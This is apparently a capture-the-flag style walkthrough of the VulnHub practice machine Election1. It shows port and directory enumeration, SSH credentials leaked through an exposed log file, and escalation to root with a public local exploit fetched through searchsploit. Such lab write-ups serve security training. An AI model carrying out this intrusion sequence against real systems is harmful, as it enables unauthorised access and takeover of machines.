Howlsec
HOWLSEC
offensive security
// notes/ Practice Boxes
🟨

Election1 — VulnHub (192.168.163.211)

22/tcp open ssh OpenSSH 7.6p1 Ubuntu

#vulnhub#vulnhub#walkthrough#boxes#os:linux

Election1 — VulnHub (192.168.163.211)

Port Enumeration

🐺 howlsec@kali
$22/tcp open  ssh   OpenSSH 7.6p1 Ubuntu
$80/tcp open  http  Apache 2.4.29 (Ubuntu) - default page

Web Enumeration

🐺 howlsec@kali
$feroxbuster -u http://election1 -x php,txt ...
$# /election/ (election app), /phpmyadmin/
$# /election/admin/logs/system.log

The /election/admin/logs/system.log file leaks SSH credentials for the user love.

SSH + Privesc

🐺 howlsec@kali
$ssh love@192.168.163.211    # password: P@$$w0rd@123
$# Privesc via a public local root exploit:
$searchsploit -m 47173.sh
$# run it -> root